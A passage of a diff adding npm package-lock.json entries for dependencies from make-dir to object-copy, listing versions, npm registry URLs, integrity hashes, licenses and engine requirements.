"sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^4.0.1", + "semver": "^5.6.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/make-dir/node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/makeerror": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "license": "BSD-3-Clause", + "dependencies": { + "tmpl": "1.0.5" + } + }, + "node_modules/map-cache": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", + "integrity": "sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/map-stream": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/map-stream/-/map-stream-0.1.0.tgz", + "integrity": "sha512-CkYQrPYZfWnu/DAmVCpTSX/xHpKZ80eKh2lAkyA6AJTef6bW+6JpbQZN5rofum7da+SyN1bi5ctTm+lTfcCW3g==", + "dev": true + }, + "node_modules/map-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", + "integrity": "sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==", + "dev": true, + "license": "MIT", + "dependencies": { + "object-visit": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/match-sorter": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/match-sorter/-/match-sorter-6.3.1.tgz", + "integrity": "sha512-mxybbo3pPNuA+ZuCUhm5bwNkXrJTbsk5VWbR5wiwz/GC6LIiegBGn2w3O08UG/jdbYLinw51fSQ5xNU1U3MgBw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.5", + "remove-accents": "0.4.2" + } + }, + "node_modules/mdn-data": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.4.tgz", + "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==", + "license": "CC0-1.0" + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "3.4.7", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.7.tgz", + "integrity": "sha512-ygaiUSNalBX85388uskeCyhSAoOSgzBbtVCr9jA2RROssFL9Q19/ZXFqS+2Th2sr1ewNIWgFdLzLC3Yl1Zv+lw==", + "license": "Unlicense", + "dependencies": { + "fs-monkey": "^1.0.3" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==", + "license": "MIT" + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "license": "MIT" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "license": "MIT", + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/microseconds": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/microseconds/-/microseconds-0.2.0.tgz", + "integrity": "sha512-n7DHHMjR1avBbSpsTBj6fmMGh2AGrifVV4e+WYc3Q9lO+xnSZ3NyhcBND3vzzatt05LFhoKFRxrIyklmLlUtyA==", + "license": "MIT" + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/mini-create-react-context": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/mini-create-react-context/-/mini-create-react-context-0.4.1.tgz", + "integrity": "sha512-YWCYEmd5CQeHGSAKrYvXgmzzkrvssZcuuQDDeqkT+PziKGMgE+0MCCtcKbROzocGBG1meBLl2FotlRwf4gAzbQ==", + "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.1", + "tiny-warning": "^1.0.3" + }, + "peerDependencies": { + "prop-types": "^15.0.0", + "react": "^0.14.0 || ^15.0.0 || ^16.0.0 || ^17.0.0" + } + }, + "node_modules/mini-css-extract-plugin": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.6.1.tgz", + "integrity": "sha512-wd+SD57/K6DiV7jIR34P+s3uckTRuQvx0tKPcvjFlrEylk6P4mQ2KSWk1hblj1Kxaqok7LogKOieygXqBczNlg==", + "license": "MIT", + "dependencies": { + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/mini-css-extract-plugin/node_modules/schema-utils": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", + "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.8.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "license": "ISC" + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/mixin-deep": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", + "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "for-in": "^1.0.2", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "license": "MIT", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/mlly": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/mlly/-/mlly-1.7.3.tgz", + "integrity": "sha512-xUsx5n/mN0uQf4V548PKQ+YShA4/IW0KI1dZhrNrPCLG+xizETbHTkOa1f8/xut9JRPp8kQuMnz0oqwkTiLo/A==", + "license": "MIT", + "dependencies": { + "acorn": "^8.14.0", + "pathe": "^1.1.2", + "pkg-types": "^1.2.1", + "ufo": "^1.5.4" + } + }, + "node_modules/mock-property": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/mock-property/-/mock-property-1.0.3.tgz", + "integrity": "sha512-2emPTb1reeLLYwHxyVx993iYyCHEiRRO+y8NFXFPL5kl5q14sgTK76cXyEKkeKCHeRw35SfdkUJ10Q1KfHuiIQ==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.1", + "functions-have-names": "^1.2.3", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "hasown": "^2.0.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/mock-property/node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "license": "MIT" + }, + "node_modules/mocked-env": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/mocked-env/-/mocked-env-1.3.2.tgz", + "integrity": "sha512-jwm3ziowCjpbLNhUNYwn2G0tawV/ZGRuWeEGt6PItrkQT74Nk3pDldL2pmwm9sQZw6a/x+ZBGeBVYq54acTauQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "check-more-types": "2.24.0", + "debug": "4.1.1", + "lazy-ass": "1.6.0", + "ramda": "0.26.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocked-env/node_modules/debug": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/moment": { + "version": "2.29.4", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz", + "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/monaco-editor": { + "version": "0.44.0", + "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.44.0.tgz", + "integrity": "sha512-5SmjNStN6bSuSE5WPT2ZV+iYn1/yI9sd4Igtk23ChvqB7kDk9lZbB9F5frsuvpB+2njdIeGGFf2G4gbE6rCC9Q==", + "license": "MIT" + }, + "node_modules/mousetrap": { + "version": "1.6.5", + "resolved": "https://registry.npmjs.org/mousetrap/-/mousetrap-1.6.5.tgz", + "integrity": "sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA==", + "license": "Apache-2.0 WITH LLVM-exception" + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "license": "MIT" + }, + "node_modules/muggle-string": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/muggle-string/-/muggle-string-0.4.1.tgz", + "integrity": "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==", + "license": "MIT" + }, + "node_modules/multicast-dns": { + "version": "7.2.5", + "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "license": "MIT", + "dependencies": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/nano-time": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/nano-time/-/nano-time-1.0.0.tgz", + "integrity": "sha512-flnngywOoQ0lLQOTRNexn2gGSNuM9bKj9RZAWSzhQ+UJYaAFG9bac4DW9VHjUAzrOaIcajHybCTHe/bkvozQqA==", + "license": "ISC", + "dependencies": { + "big-integer": "^1.6.16" + } + }, + "node_modules/nanoclone": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/nanoclone/-/nanoclone-0.2.1.tgz", + "integrity": "sha512-wynEP02LmIbLpcYw8uBKpcfF6dmg2vcpKqxeH5UcoKEYdExslsdUA4ugFauuaeYdTB76ez6gJW8XAZ6CgkXYxA==", + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz", + "integrity": "sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==", + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/nanomatch": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", + "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "fragment-cache": "^0.2.1", + "is-windows": "^1.0.2", + "kind-of": "^6.0.2", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "license": "MIT" + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "license": "MIT" + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "license": "MIT", + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/no-case/node_modules/tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "license": "0BSD" + }, + "node_modules/node-forge": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==", + "license": "(BSD-3-Clause OR GPL-2.0)", + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "license": "MIT" + }, + "node_modules/node-releases": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.18.tgz", + "integrity": "sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==", + "license": "MIT" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "license": "MIT", + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/nwsapi": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.1.tgz", + "integrity": "sha512-JYOWTeFoS0Z93587vRJgASD5Ut11fYl5NyihP3KrYBvMe1FRRs6RN7m20SA/16GM4P6hTnZjT+UmDOt38UeXNg==", + "license": "MIT" + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", + "integrity": "sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "copy-descriptor": "^0.1.0", + "define-property": "^0.2.5", + "kind-of": "^3.0.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy/node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==", + "deprecated": "Please upgrade to v0.1.7", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy/node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==", + "deprecated": "Please upgrade to v0.1.5", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy/node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy/node_modules/is-descriptor/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + 